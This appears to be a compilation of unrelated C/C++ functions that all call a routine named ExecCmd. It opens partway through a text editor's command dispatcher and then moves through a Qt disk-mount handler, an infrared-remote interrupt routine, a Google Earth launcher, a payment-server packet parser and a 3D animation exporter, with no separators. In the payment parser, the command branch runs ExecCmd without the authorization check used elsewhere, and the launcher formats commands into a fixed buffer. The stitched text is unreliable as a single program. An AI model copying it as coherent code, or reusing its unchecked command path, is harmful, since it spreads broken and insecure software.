} break; case PCL_T_YANK: rc = SetSavebufNumber( data ); if( rc != ERR_NO_ERR ) { break; } if( SelRgn.selected && !EditFlags.LineBased ) { rc = YankSelectedRegion(); // @ may have turned this on - it is now definitely off SelRgn.selected = false; } else { rc = YankLineRange( n1, n2 ); } break; case PCL_T_SUBSTITUTE: rc = Substitute( n1, n2, data ); break; case PCL_T_GLOBAL: case PCL_T_GLOBAL_DMT: if( !test1 ) { n1 = 1; rc = CFindLastLine( &n2 ); if( rc != ERR_NO_ERR ) { break; } } rc = Global( n1,n2, data, ( tkn == PCL_T_GLOBAL_DMT ) ); break; case PCL_T_WRITEQUIT: if( CurrentFile == NULL ) { rc = NextFile(); } else { CurrentFile->modified = true; data = GetNextWord1( data, st ); if( *st != '\0' ) { rc = SaveAndExit( st ); } else { rc = SaveAndExit( NULL ); } } break; case PCL_T_WRITE: case PCL_T_WRITE_DMT: data = GetNextWord1( data, st ); if( test1 ) { if( *st == '\0' ) { rc = ERR_NO_FILE_SPECIFIED; } else { rc = SaveFile( st, n1, n2, ( tkn == PCL_T_WRITE_DMT ) ); } } else { if( st[0] != '\0' ) { #ifdef __WIN__ if( st[0] == '?' && st[1] == '\0' ) { rc = SaveFileAs(); break; } else { rc = SaveFile( st, -1, -1, ( tkn == PCL_T_WRITE_DMT ) ); } #else rc = SaveFile( st, -1, -1, ( tkn == PCL_T_WRITE_DMT ) ); #endif } else { rc = SaveFile( NULL, -1, -1, ( tkn == PCL_T_WRITE_DMT ) ); if( rc == ERR_NO_ERR ) { Modified( false ); } } } break; case PCL_T_READ: rc = ReadAFile( n1, data ); break; case PCL_T_QUIT: #ifdef __WIN__ rc = CurFileExitOptionSaveChanges(); #else rc = NextFile(); #endif break; case PCL_T_QUIT_DMT: rc = NextFileDammit(); break; case PCL_T_DATE: GetDateTimeString( st ); Message1( st ); rc = DO_NOT_CLEAR_MESSAGE_WINDOW; break; case PCL_T_CD: data = GetNextWord1( data, st ); if( *st != '\0' ) { rc = SetCWD( st ); } else { rc = ERR_NO_ERR; } if( rc == ERR_NO_ERR ) { Message1( "Current directory is %s",CurrentDirectory ); } break; case PCL_T_SHELL: EVIL_SHELL: { #if defined( __NT__ ) && !defined( __WIN__ ) ExecCmd( NULL, NULL, NULL ); #else char foo[FILENAME_MAX]; strcpy( foo, Comspec ); ExecCmd( NULL, NULL, foo ); #endif DoVersion(); rc = ERR_NO_ERR; } break; case PCL_T_SYSTEM: if( n1f && n2f ) { rc = DoGenericFilter( n1, n2, data ); } else { data = SkipLeadingSpaces( data ); if( *data == '\0' ) { goto EVIL_SHELL; } ExecCmd( NULL, NULL, data ); rc = ERR_NO_ERR; } break; case PCL_T_RESIZE: rc = ResizeCurrentWindowWithKeys(); break; case PCL_T_TILE: data = GetNextWord1( data, st ); if( st[0] != '\0' ) { if( st[0] == 'v' ) { y = 1; for( x = 0, cinfo = InfoHead; cinfo != NULL; cinfo = cinfo->next ) { x++; } } else if( st[0] == 'h' ) { x = 1; for( y = 0, cinfo = InfoHead; cinfo != NULL; cinfo = cinfo->next ) { y++; } } else { x = atoi( st ); data = GetNextWord1( data, st ); if( *st == '\0' ) { break; } else { y = atoi( st ); } } } else { x = EditVars.MaxWindowTileX; y = EditVars.MaxWindowTileY; } if( x > 0 && y > 0) { rc = WindowTile( x, y ); } break; case PCL_T_CASCADE: rc = WindowCascade(); break; case PCL_T_MOVEWIN: rc = MoveCurrentWindowWithKeys(); break; case PCL_T_TAG: data = GetNextWord1( data, st ); if( *st != '\0' ) { rc = TagHunt( st ); } break; case PCL_T_FGREP: { bool ci; data = SkipLeadingSpaces( data ); ci = EditFlags.CaseIgnore; if( data[0] == '-' ) { if( data[1] == 'c' ) { ci = false; data += 2; data = SkipLeadingSpaces( data ); rc = GetStringWithPossibleQuote( &data, st ); } else if( data[1] == 'i' ) { ci = true; data += 2; data = SkipLeadingSpaces( data ); rc = GetStringWithPossibleQuote( &data, st ); } else if( data[1] == 'f' ) { data += 2; data = SkipLeadingSpaces( data ); #ifdef __WIN__ // call fancy grep window { fancy_find *ff; /* ff will be set to point at a static fancy find struct * in the snoop module */ char snoopbuf[FILENAME_MAX]; if( !GetSnoopStringDialog( &ff ) ) { return( ERR_NO_ERR ); } strcpy( snoopbuf, ff->path ); /* assume no string means current directory */ if( strlen( snoopbuf ) && snoopbuf[strlen( snoopbuf ) - 1] != '\\' ){ strcat( snoopbuf, "\\" ); } MySprintf( st, "%s", ff->find ); strcat( snoopbuf, ff->ext ); ci = ff->case_ignore; if( !ff->use_regexp ) { //MakeExpressionNonRegular( st ); rc = DoFGREP( snoopbuf, st, ci ); } else { rc = DoEGREP( snoopbuf, st ); } break; } #endif } } else { rc = GetStringWithPossibleQuote( &data, st ); } if( rc != ERR_NO_STRING ) { rc = DoFGREP( data, st, ci ); } } break; case PCL_T_EGREP: rc = GetStringWithPossibleQuote( &data, st ); if( rc != ERR_NO_STRING ) { rc = DoEGREP( data, st ); } break; case PCL_T_SIZE: data = GetNextWord1( data, st ); if( *st == '\0' ) { break; } x = atoi( st ); data = GetNextWord1( data, st ); if( *st == '\0' ) { break; } y = atoi( st ); data = GetNextWord1( data, st ); if( *st == '\0' ) { break; } x2 = atoi( st ); data = GetNextWord1( data, st ); if( *st == '\0' ) { break; } y2 = atoi( st ); rc = CurrentWindowResize( x, y, x2, y2 ); break; case PCL_T_ECHO: data = GetNextWord1( data, st ); if( *st == '\0' ) { break; } rc = ERR_NO_ERR; if( !stricmp( st, "on" ) ) { EditFlags.EchoOn = true; break; } else if( !stricmp( st, "off" ) ) { EditFlags.EchoOn = false; break; } x = atoi( st ); data = SkipLeadingSpaces( data ); /* * FIXME: This is not good - I will definately have to * fix this code up. But right now I have to get the * editor ready for tomorrow. Brad. */ if( data[0] == '"' || data[0] == '/' ) { GetStringWithPossibleQuote( &data, st ); if( x > 2 ) { /* this is obviously a sick individual */ Error( "Invalid Echo" ); } else if( x == 1 ) { Message1( st ); } else if( x == 2 ) { Message2( st ); } // DisplayLineInWindow( MessageWindow, x, st ); } else { if( x > 2 ) { /* this is obviously a sick individual */ Error( "Invalid Echo" ); } else if( x == 1 ) { Message1( data ); } else if( x == 2 ) { Message2( data ); } // DisplayLineInWindow( MessageWindow, x, data ); } break; #ifdef VI_RCS case PCL_T_CHECKOUT: rc = ERR_NO_ERR; #ifdef __WINDOWS__ if( isOS2() ) break; // OS/2 shell returns before checkout finishes #endif if( CurrentFile != NULL ) { rc = ViRCSCheckout( rc ); } break; case PCL_T_CHECKIN: if( CurrentFile != NULL ) { rc = ViRCSCheckin( rc ); } break; #endif default: if( tkn >= 1000 ) { rc = ProcessEx( n1, n2, n2f, tkn - 1000, data ); break; } rc = TryCompileableToken( tkn, data, true ); if( rc != NOT_COMPILEABLE_TOKEN ) { break; } rc = ProcessWindow( tkn, data ); if( rc >= ERR_NO_ERR ) { break; } case TOK_INVALID: if( n1f && !n2f ) { if( !n1 ) { n1 = 1; } MemorizeCurrentContext(); rc = GoToLineNoRelCurs( n1 ); if( rc == ERR_NO_ERR ) { GoToColumnOnCurrentLine( 1 ); if( EditFlags.LineDisplay ) { MyPrintf( "%s\n", CurrentLine->data ); } } return( rc ); } rc = ERR_INVALID_COMMAND; break; } if( rc == ERR_NO_ERR ) { rc = DO_NOT_CLEAR_MESSAGE_WINDOW; } return( rc ); } /* RunCommandLine */
void Listener :: exec ( const QPoint & Loc ) { { const ActList AL = FindActs ( CurrDev ) ; if ( ! AL . isEmpty ( ) ) { setActiveAction ( AL . first ( ) ) ; }//fi } ActPtr Act = QMenu :: exec ( Loc ) ; if ( Act ) { const QString AN = Act -> objectName ( ) ; // Primary key. CurrDev = sect ( AN , 0 ) ; // SysPath. const UdevDev Dev ( UdevContext , CurrDev ) ; QString Node = Dev . DevNode ( ) ; const QString MP = Mounts :: DecodeIFS ( sect ( AN , 1 ) ) ; // Mountpoint/dm-name if any. const bool Cont = isLUKS ( Dev ) , // It's container. MoM = ! MP . isEmpty ( ) ; // It's mounted or mapped. int RC = 0 ; // Return code for command. if ( MoM || ! Suppl ) { // Currently Suppl may be Eject, Remove or UnmountAll. loKey C , T , S ; if ( MoM ) { if ( Cont ) { C = kLockCmd ; T = kLockTO ; S = kLockShow ; } else { C = kUnmntCmd ; T = kUnmntTO ; S = kUnmntShow ; }//fi } else { if ( Cont ) { C = kUnlockCmd ; T = kUnlockTO ; S = kUnlockShow ; } else { C = kMountCmd ; T = kMountTO ; S = kMountShow ; }//fi }//fi RC = ExecCmd ( Opt . toStr ( C ) , MoM ? MP : Node , Opt . toInt ( T ) , Opt . toBool ( S ) ) ; }//fi const UdevDev WD ( WDisk ( Dev ) ) ; // whole disk. bool Show = Opt . toBool ( kEjectShow ) ; RefreshMInfo ( ) ; { const bool A = Opt . toBool ( kAutoEject ) , D = Opt . toStr ( kEjectCmd ) . isEmpty ( ) , L = ( MPoints ( Dev ) + Holders ( Dev ) ) . isEmpty ( ) , S = Suppl == reqEject || Suppl == reqRemove , E = Ejectable ( WD ) ; if ( MoM && ( L || Suppl ) && A && ! D && E && ! S ) { Suppl = reqEject ; Show = Opt . toBool ( kAutoEjShow ) ; }//fi } if ( RC ) { SetActions ( Dev ) ; // workaround for setChecked () } else if ( Suppl == reqUnmtAll ) { UnmntAll ( Dev , Opt . toBool ( kUnmntShow ) ) ; } else if ( Suppl ) { // Eject or Remove. QStringList Msg , NL ; Node = WD . DevNode ( ) ; foreach ( const QString P , Parts ( WD ) << WD . SysPath ( ) ) { const UdevDev D ( UdevContext , P ) ; const QString N = D . DevNode ( ) ; NL += N ; UnmntAll ( D , false ) ; RefreshMInfo ( ) ; foreach ( const QString M , MPoints ( D ) ) { Msg << N + tr ( " mounted on " ) + M ; }//done foreach ( const QString M , Holders ( D ) ) { Msg << N + tr ( " mapped on " ) + M ; }//done UdevEnum En ( UdevContext ) ; En . MatchSubsys ( Subsys_Block ) ; En . MatchSysAttr ( SA_BackFile , N . toLatin1 ( ) ) ; En . ScanDevs ( ) ; foreach ( const UdevPair M , En . GetList ( ) ) { Msg << N + tr ( " mapped on " ) + UdevDev ( UdevContext , M . first ) . DevNode ( ) ; }//done }//done const QStringList F ( "[1-9]*" ) ; foreach ( const QString P , QDir ( "/proc" ) . entryList ( F , Drs ) ) { const QDir D ( "/proc/" + P + "/fd" ) ; foreach ( const QFileInfo I , D . entryInfoList ( QDir :: Files ) ) { const QString N = I . symLinkTarget ( ) ; if ( NL . contains ( N ) ) { Msg << N + tr ( " used by PId " ) + P ; }//fi }//done }//done if ( ! Msg . isEmpty ( ) ) { QMessageBox :: critical ( this , TPref + tr ( "Error" ) , tr ( "Device " ) + Node + tr ( " in use:" ) + "\n" + Msg . join ( "\n" ) ) ; } else { QString Cmd ; int TO ; if ( Suppl == reqEject ) { Cmd = Opt . toStr ( kEjectCmd ) ; TO = Opt . toInt ( kEjectTO ) ; } else { Cmd = Opt . toStr ( kRemoveCmd ) ; TO = Opt . toInt ( kRemoveTO ) ; Show = Opt . toBool ( kRemoveShow ) ; }//fi ExecCmd ( Cmd , Node , TO , Show ) ; }//fi }//fi
void interrupt isr(void) { #if defined(BBK) /* This code stub shows general interrupt handling. Note that these conditional statements are not handled within 3 seperate if blocks. Do not use a seperate if block for each interrupt flag to avoid run time errors. */ if(T0IF){// Timer Overflow, keep the value in reset // Overflow during the decoding... if(m_ucSteps > 0){ m_ucAddr_1 = 0; m_ucAddr_2 = 0; m_ucCmd_1 = 0; m_ucCmd_2 = 0; } m_ucValue = 0; m_ucSteps = 0; TMR0 = 0; T0IF = 0; } if(GPIF){ // Reset Timer m_ucTMR0 = TMR0; TMR0 = 0; if(!GP2){//Low if(m_ucSteps == 1){ // 76 are 4500 microSecs // 4 are 250 microSecs if((m_ucTMR0 >= 72) && (m_ucTMR0 <= 80)){// New command m_ucSteps = 2; // Reset old value m_ucAddr_1 = 0; m_ucAddr_2 = 0; m_ucCmd_1 = 0; m_ucCmd_2 = 0; } // 38 are 2250 microSecs // 4 are 250 microSecs if((m_ucTMR0 >= 34) && (m_ucTMR0 <= 42)){// Repeat last command m_ucSteps = 66; } } if(m_ucSteps >= 3 && m_ucSteps <= 65){ // 0 = 562 microSecs // 1 = 1675 microSecs // 9 are 562 microSecs // 28 are 1675 microSecs // 2 are 125 microSecs if((m_ucTMR0 >= 7) && (m_ucTMR0 <= 11)){ m_ucSteps++; // Stop First Bit, 0 m_ucValue = m_ucValue << 1; m_ucValue = m_ucValue | 0x00; } if((m_ucTMR0 >= 26) && (m_ucTMR0 <= 30)){ m_ucSteps++; // Stop First Bit, 1 m_ucValue = m_ucValue << 1; m_ucValue = m_ucValue | 0x01; } // Decoding if(m_ucSteps == 18){ // First Address byte m_ucAddr_1 = m_ucValue; m_ucValue = 0; } if(m_ucSteps == 34){ // Second Address byte m_ucAddr_2 = ~m_ucValue; m_ucValue = 0; } if(m_ucSteps == 50){ // First Cmd byte m_ucCmd_1 = m_ucValue; m_ucValue = 0; } if(m_ucSteps == 66){ // Second Cmd byte m_ucCmd_2 = ~m_ucValue; m_ucValue = 0; } } } if(GP2){//High if(m_ucSteps == 0){ // 153 are 9000 microSecs // 4 are 250 microSecs if((m_ucTMR0 >= 149) && (m_ucTMR0 <= 157)){ m_ucSteps = 1; } } if(m_ucSteps >= 2 && m_ucSteps <= 64){ // 9 are 562 microSecs // 2 are 125 microSecs if((m_ucTMR0 >= 7) && (m_ucTMR0 <= 11)){ m_ucSteps++; // Start First Bit } } if(m_ucSteps == 66){// End // 9 are 562 microSecs // 2 are 125 microSecs if((m_ucTMR0 >= 7) && (m_ucTMR0 <= 11)){ if((m_ucAddr_1 == m_ucAddr_2) && (m_ucCmd_1 == m_ucCmd_2)){ ExecCmd(m_ucAddr_1, m_ucCmd_1); } m_ucSteps = 0; } } } GPIF = 0; } #endif #if defined(SKY) /* This code stub shows general interrupt handling. Note that these conditional statements are not handled within 3 seperate if blocks. Do not use a seperate if block for each interrupt flag to avoid run time errors. */ if(T0IF){// Timer Overflow, keep the value in reset m_ucValue = 0; m_ucSteps = 0; m_ucAddr_1 = 0; m_ucAddr_2 = 0; m_ucCmd_1 = 0; m_ucCmd_2 = 0; // GP4 = ~GP4; TMR0 = 0; T0IF = 0; } if(GPIF){ // Reset Timer m_ucTMR0 = TMR0; TMR0 = 0; if(!GP2){//Low if(m_ucSteps == 1){//1 // 70 center to 1040 microSecs if((m_ucTMR0 >= 68) && (m_ucTMR0 <= 72)){// New command m_ucSteps++; //GP4 = ~GP4; m_ucCmd_1++; m_ucCmd_2++; } } if(m_ucSteps == 3){//2 // 152 center to 2260 microSecs Key << if((m_ucTMR0 >= 150) && (m_ucTMR0 <= 154)){ m_ucSteps++; m_ucCmd_1++; //GP4 = 1; } // 133 center to 1980 microSecs Key >> if((m_ucTMR0 >= 131) && (m_ucTMR0 <= 135)){ m_ucSteps++; m_ucCmd_2++; //GP4 = 0; } } if(m_ucSteps == 5){//3 // 51 center to 760 microSecs Key << >> if((m_ucTMR0 >= 49) && (m_ucTMR0 <= 53)){ m_ucSteps++; m_ucCmd_1++; m_ucCmd_2++; } } if(m_ucSteps == 7){//4 // 51 center to 760 microSecs Key if((m_ucTMR0 >= 49) && (m_ucTMR0 <= 53)){ m_ucSteps++; m_ucCmd_1++; m_ucCmd_2++; } } if(m_ucSteps == 9){//5 // 79 center to 1170 microSecs Key if((m_ucTMR0 >= 77) && (m_ucTMR0 <= 81)){ m_ucSteps++; m_ucCmd_1++; m_ucCmd_2++; } } if(m_ucSteps == 11){//6 // 70 center to 1040 microSecs >> if((m_ucTMR0 >= 68) && (m_ucTMR0 <= 72)){// New command m_ucSteps++; m_ucCmd_1++; } // 51 center to 760 microSecs Key << if((m_ucTMR0 >= 49) && (m_ucTMR0 <= 53)){ m_ucSteps++; m_ucCmd_2++; } } if(m_ucSteps == 13){//7 // 51 center to 760 microSecs Key if((m_ucTMR0 >= 49) && (m_ucTMR0 <= 53)){ m_ucSteps++; m_ucCmd_1++; m_ucCmd_2++; } } if(m_ucSteps == 15){//8 // 51 center to 760 microSecs Key if((m_ucTMR0 >= 49) && (m_ucTMR0 <= 53)){ m_ucSteps++; m_ucCmd_1++; m_ucCmd_2++; } } } if(GP2){//High if(m_ucSteps >= 0 && m_ucSteps <= 16){ // 13 center to 198 microSecs if((m_ucTMR0 >= 11) && (m_ucTMR0 <= 15)){ m_ucSteps++; } } if(m_ucSteps == 17){// End m_ucSteps = 0; //GP4 = ~GP4; if(m_ucCmd_1 == 8){// >> GP4 = 1; } if(m_ucCmd_2 == m_ucCmd_1){// << //GP4 = 1; } m_ucCmd_1 = 0; m_ucCmd_2 = 0; } /* if(m_ucSteps >= 2 && m_ucSteps <= 64){ // 9 are 562 microSecs // 2 are 125 microSecs if((m_ucTMR0 >= 7) && (m_ucTMR0 <= 11)){ m_ucSteps++; // Start First Bit } } if(m_ucSteps == 66){// End // 9 are 562 microSecs // 2 are 125 microSecs if((m_ucTMR0 >= 7) && (m_ucTMR0 <= 11)){ if((m_ucAddr_1 == m_ucAddr_2) && (m_ucCmd_1 == m_ucCmd_2)){ ExecCmd(m_ucAddr_1, m_ucCmd_1); } m_ucSteps = 0; } } */ } GPIF = 0; } #endif }
//--------------------------------------------------------------------------- void __fastcall TConvDialog::BtnGoogleClick(TObject *Sender) { char cmd[1024]; sprintf(cmd,"\"%s\" \"%s\"",MainForm->GoogleEarthFile,OutputFile->Text.c_str()); if (!ExecCmd(cmd)) ShowMsg("error : google earth execution"); }
SPay *CompileCheckPay(char *data, int size, CSocketRW *sock, CPayguideClient *pgc, thread_param *prm) { char unauth[2]; unauth[0]=2; unauth[1]=0; unsigned char nettype=0x01; unsigned char netversion=0x00; SPay *result=NULL; if (size<1) return NULL; const char *pointer=data; memcpy(&nettype,data,1); if (size>1) memcpy(&netversion,(data+1),1); if (nettype==NETTYPE_GETUSERS) { if (sock->Authorized()>=AUTH_CONTROL) { char buff[1024]; buff[0]=22; buff[1]=0; char *ptr=buff+2; sem_wait(prm->pc_lock); prm->sock_list->ResetCursor(); for (unsigned int i=0; i<prm->sock_list->GetLen(); i++) { CPayguideClient *pc=prm->sock_list->GetNext(); if (pc!=NULL) { unsigned short l=(unsigned short)strlen(pc->GetName()); memcpy(ptr, &l, sizeof(unsigned short)); ptr+=sizeof(unsigned short); memcpy(ptr, pc->GetName(), (int)l); ptr+=(int)l; } } sem_post(prm->pc_lock); sock->Send(buff, ptr-buff); } else sock->Send(unauth, 2); } if (nettype==NETTYPE_PAYCHECK1 || nettype==NETTYPE_PAYCHECK2 || nettype==NETTYPE_PAYCHECK3) { if (sock->Authorized()>=AUTH_PAYCHECK) { /* Regular pay */ long long pay_id=0; int provider=0; long long terminal_id=0; int currency=0; char msg[SIZE_DATA+1]; char stamp[20]; char magic; timeval time_now; tm *ptm; gettimeofday(&time_now, NULL); ptm = localtime (&time_now.tv_sec); strftime(stamp, 20, "%Y-%m-%d %H:%M:%S", ptm); pointer+=(SIZE_BODY_TYPE+SIZE_BODY_VERSION); memcpy(&pay_id, pointer, SIZE_BODY_ID); pointer+=SIZE_BODY_ID; memcpy(&magic, pointer, SIZE_BODY_MAGIC); pointer+=SIZE_BODY_MAGIC; memcpy(&provider, pointer, SIZE_BODY_OPERATOR); pointer+=SIZE_BODY_OPERATOR; memcpy(&terminal_id, pointer, SIZE_BODY_TERMINAL); pointer+=SIZE_BODY_TERMINAL; memcpy(¤cy, pointer, SIZE_BODY_CURRENCY); pointer+=SIZE_BODY_CURRENCY; int l=size-SIZE_BODY_CURRENCY-SIZE_BODY_TERMINAL-SIZE_BODY_OPERATOR-SIZE_BODY_ID-SIZE_BODY_TYPE-SIZE_BODY_VERSION-SIZE_BODY_MAGIC; if (netversion>=0x01) l-=(SIZE_BODY_SUMMINT+SIZE_BODY_SUMMFLOAT)*2; if (netversion>=0x02) l-=(SIZE_BODY_SUMMINT+SIZE_BODY_SUMMFLOAT); if (l<0) l=0; else if (l>SIZE_DATA) l=SIZE_DATA; if (l>=0) memcpy(&msg, pointer, l); msg[l]=0; pointer+=l; float real_summ=0; float amount=0; float back_summ=0; unsigned int i_summ_buff=0; unsigned char f_summ_buff=0; if (netversion>=0x01) { memcpy(&i_summ_buff, pointer, SIZE_BODY_SUMMINT); pointer+=SIZE_BODY_SUMMINT; memcpy(&f_summ_buff, pointer, SIZE_BODY_SUMMFLOAT); pointer+=SIZE_BODY_SUMMFLOAT; real_summ=(float)i_summ_buff+(unsigned int)f_summ_buff/100.0f; } if (netversion>=0x02) { memcpy(&i_summ_buff, pointer, SIZE_BODY_SUMMINT); pointer+=SIZE_BODY_SUMMINT; memcpy(&f_summ_buff, pointer, SIZE_BODY_SUMMFLOAT); pointer+=SIZE_BODY_SUMMFLOAT; amount=(float)i_summ_buff+(unsigned int)f_summ_buff/100.0f; } if (netversion>=0x03) { memcpy(&i_summ_buff, pointer, SIZE_BODY_SUMMINT); pointer+=SIZE_BODY_SUMMINT; memcpy(&f_summ_buff, pointer, SIZE_BODY_SUMMFLOAT); pointer+=SIZE_BODY_SUMMFLOAT; back_summ=(float)i_summ_buff+(unsigned int)f_summ_buff/100.0f; } if (size!=pointer-data) { char tmp[256]; snprintf(tmp, 256, "paycheck: wrong message lenght. l=%i in packet head but %i in real. Packet rejected.", size, (pointer-data)); LogWrite(LOGMSG_WARNING, tmp); } else { result=CompileNewPay(pay_id, 10, provider, stamp, msg, 0, terminal_id, currency, 0, 0, -1,-1,-1); if (netversion>=0x01) result->summ=real_summ; if (netversion>=0x02) result->amount=amount; if (netversion>=0x03) result->back_summ=back_summ; result->magic=magic; // result->nettype=nettype; result->netversion=netversion; } } else sock->Send(unauth, 2); } if (nettype==NETTYPE_PING) { char ping[2]; ping[0]=5; ping[1]=0; sock->Send(ping, 2); } if (nettype==NETTYPE_COMMAND) { //printf("case 4\n"); /* Command */ char cmd=0; int command=0; pointer+=(SIZE_BODY_TYPE+SIZE_BODY_VERSION); memcpy(&cmd, pointer, sizeof(cmd)); command=(int)cmd; pointer+=sizeof(cmd); int l=size-sizeof(cmd); if (l>=0) { int result_size=0; ExecCmd(command, pointer, l, &result_size, sock); } else { // char tmp[256]; // snprintf(tmp, 256, "paycheck: wrong message lenght. l=%i in packet head but %i in real. Packet rejected."); // LogWrite(LOGMSG_WARNING, tmp); } // msg[l]=0; result=NULL; } if (nettype==NETTYPE_SIGN) { if (sock->Authorized()>=AUTH_CONTROL) { pgc->AddToDelivery(); result=NULL; } else sock->Send(unauth, 2); } if (nettype==NETTYPE_UNSIGN) { if (sock->Authorized()>=AUTH_STAT) { pgc->RemoveFromDelivery(); result=NULL; } else sock->Send(unauth, 2); } if (nettype==NETTYPE_AUTHORIZATION) { char login[1024]; char password[1024]; char *ptr=data+2; unsigned short login_size; unsigned short password_size; char unauth[2]; unauth[0]=2; unauth[1]=0; if (size>4) { memcpy(&login_size,ptr, sizeof(login_size)); ptr+=sizeof(login_size); memcpy(&password_size,ptr, sizeof(password_size)); ptr+=sizeof(password_size); if (login_size<1024 && password_size<1024) { memcpy(login, ptr, login_size); login[login_size]=0; ptr+=login_size; memcpy(password, ptr, password_size); password[password_size]=0; ptr+=password_size; if (ptr-data==size) { int auth_level=GetAuthorization(login, password); if (auth_level==0) { // printf("Authorization failed\n"); sock->Send(unauth, 2); sock->Down(); } else { char auth[2]; auth[0]=3; auth[1]=0; sock->Authorize(auth_level); pgc->Authorize(auth_level, login); sock->Send(auth, 2); // printf("User %s connected.\n", login); } } else { sock->Send(unauth, 2); } } else sock->Send(unauth, 2); } else sock->Send(unauth, 2); } //printf("returning\n"); return result; }
int ExportSecAnim(LWXPanelID pan) { LWItemID idMasterObjID; char strMessage[256]; Matrix12 bi_mRot; _iFrame = 0; _ctFrames = 0; _ctBones = 0; ctBoneEnvelopes = 0; ctMorphEnvelopes = 0; if(!_evaluate) { // lightwave error _msg->error("Lightwave process error !\nClose plugins window and try again.\n", NULL); return AFUNC_BADAPP; } // !!!! make it work with a selected object, not the first one in scene ReloadGlobalObjects(); bool bExportOnlySelected = false; int ctSkeletonBones=0; // find selected object - to be replaced with the master bone int ctSelected = 0; int ctMeshes=0; _objid = _iti->first(LWI_OBJECT,0); idMasterObjID = LWITEM_NULL; while(_objid != LWITEM_NULL) { if(_iti->type(_objid) == LWI_OBJECT) { if(_ifi->itemFlags(_objid) & LWITEMF_SELECTED) { ctSelected++; idMasterObjID = _objid; } ctMeshes++; } _objid = _iti->next(_objid); } if (idMasterObjID == LWITEM_NULL) { // lightwave error _msg->error("ERROR: Object for top level bone not selected.\n", NULL); return AFUNC_BADAPP; } if (ctSelected > 1) { // lightwave error _msg->error("ERROR: More than one object selected.\n", NULL); return AFUNC_BADAPP; } // get scene name _strFileName = strdup(_sci->filename); // open the file to print into char fnmOut[256]; strcpy(fnmOut, _strFileName); char *pchDot = strrchr(fnmOut, '.'); if (pchDot!=NULL) { strcpy(pchDot, ".aa"); } _ctNumBones = 0; AddBoneToCount(idMasterObjID); if ((_f = fopen(fnmOut,"w")) == NULL) { _msg->error("ERROR: File open.\n", NULL); return AFUNC_BADAPP; } // calculate number of frames to export _ctFrames = ((_ifi->previewEnd-_ifi->previewStart)/_ifi->previewStep)+1; if (_ctFrames<=0) { _ctFrames = 1; } // find all morph channels for the current mesh _pmiFirst = NULL; FindMorphChannels(NULL); AddMotionHandler(idMasterObjID); sprintf(strMessage,"ctBoneEnvelopes: %d",_ctBones); _msg->error(strMessage,fnmOut); bRecordDefaultFrame = true; if (!ExecCmd("GoToFrame 0")) { // goto end; } bRecordDefaultFrame = false; int bExportAnimBackward = *(int*)_xpanf->formGet( pan, ID_ANIM_ORDER); float fTime; // export normal order if(!bExportAnimBackward) { // for each frame in current preview selection for (int iFrame=_ifi->previewStart; iFrame<=_ifi->previewEnd; iFrame+=_ifi->previewStep) { // go to that frame if (!ExecCmd("GoToFrame %d", iFrame)) { // goto end; } assert(_iFrame>=0 && _iFrame<_ctFrames); // NOTE: walking all frames implicitly lets the internal itemmotion handler record all bone positions // we walk the morph maps manually _iFrame++; } // get time fTime = (float) GetCurrentTime(); // export backward } else { // remember time in last frame if (!ExecCmd("GoToFrame %d", _ifi->previewEnd)) { //goto end; return AFUNC_BADGLOBAL; } // get time fTime = (float) GetCurrentTime(); // for each frame in current preview selection going from last to first for (int iFrame=_ifi->previewEnd; iFrame>=_ifi->previewStart; iFrame-=_ifi->previewStep) { // go to that frame if (!ExecCmd("GoToFrame %d", iFrame)) { //goto end; return AFUNC_BADGLOBAL; } assert(_iFrame>=0 && _iFrame<_ctFrames); LWTimeInfo *_tmi = (LWTimeInfo *)_global( LWTIMEINFO_GLOBAL, GFUSE_TRANSIENT ); // NOTE: walking all frames implicitly lets the internal itemmotion handler record all bone positions // we walk the morph maps manually _iFrame++; } } // find the number of morph envelopes for(MorphInfo *ptmpmi=_pmiFirst;ptmpmi!=NULL; ptmpmi = ptmpmi->mi_pmiNext) ctMorphEnvelopes++; fTime = (float) GetCurrentTime(); char strAnimID[256]; strcpy(strAnimID,_strFileName); GetAnimID(strAnimID); fprintf(_f, "SE_ANIM %s;\n\n",SE_ANIM_VER); fprintf(_f, "SEC_PER_FRAME %g;\n",fTime / _ifi->previewEnd * _ifi->previewStep); fprintf(_f, "FRAMES %d;\n", _ctFrames); fprintf(_f, "ANIM_ID \"%s\";\n\n", strAnimID); fprintf(_f, "BONEENVELOPES %d\n{\n", _ctNumBones); BoneInfo *pbiLast = NULL; for (BoneInfo *pbi=_pbiFirst; pbi!=NULL; pbi = pbi->bi_pbiNext) { bool bRootBone = false; // write its info fprintf(_f, " NAME \"%s\"\n", pbi->bi_strName); // write first frame - default pose fprintf(_f, " DEFAULT_POSE {"); BoneFrame &bfDef = pbi->bi_abfFrames[0]; MakeRotationAndPosMatrix(bi_mRot,bfDef.fi_vPos,bfDef.fi_vRot); PrintMatrix(_f,bi_mRot,0); fprintf(_f, "}\n"); fprintf(_f, " {\n"); LWItemType itLast; if(!pbiLast) itLast = LWI_OBJECT; else itLast = pbiLast->bi_lwItemType; // write anim // for each frame for (int iFrame=0; iFrame<_ctFrames; iFrame++) { // Fill 3x4 matrix and store rotation and position in it BoneFrame &bf = pbi->bi_abfFrames[iFrame]; MakeRotationAndPosMatrix(bi_mRot,bf.fi_vPos,bf.fi_vRot); // write matrix to file PrintMatrix(_f,bi_mRot,4); fprintf(_f,"\n"); } pbiLast = pbi; fprintf(_f," }\n\n"); } fprintf(_f,"}\n"); fprintf(_f, "\nMORPHENVELOPES %d\n{\n", ctMorphEnvelopes); // for each morph in list {for (MorphInfo *pmi=_pmiFirst; pmi!=NULL; pmi = pmi->mi_pmiNext) { // write its info fprintf(_f, " NAME \"%s\"\n", pmi->mi_strName); fprintf(_f, " {\n"); for (int iFrame=0; iFrame<_ctFrames; iFrame++) { fprintf(_f, " %g;\n", pmi->mi_afFrames[iFrame]); } fprintf(_f," }\n\n"); } } fprintf(_f,"}\n"); // free all morph infos { MorphInfo *pmi=_pmiFirst; MorphInfo *pmiNext=NULL; for(;;) { if(pmi==NULL) { break; } pmiNext = pmi->mi_pmiNext; free(pmi->mi_strName); free(pmi->mi_afFrames); free(pmi); pmi = pmiNext; }} fprintf(_f, "SE_ANIM_END;\n"); fclose(_f); RemoveMotionHandler(idMasterObjID); _pbiFirst = NULL; return AFUNC_OK; };
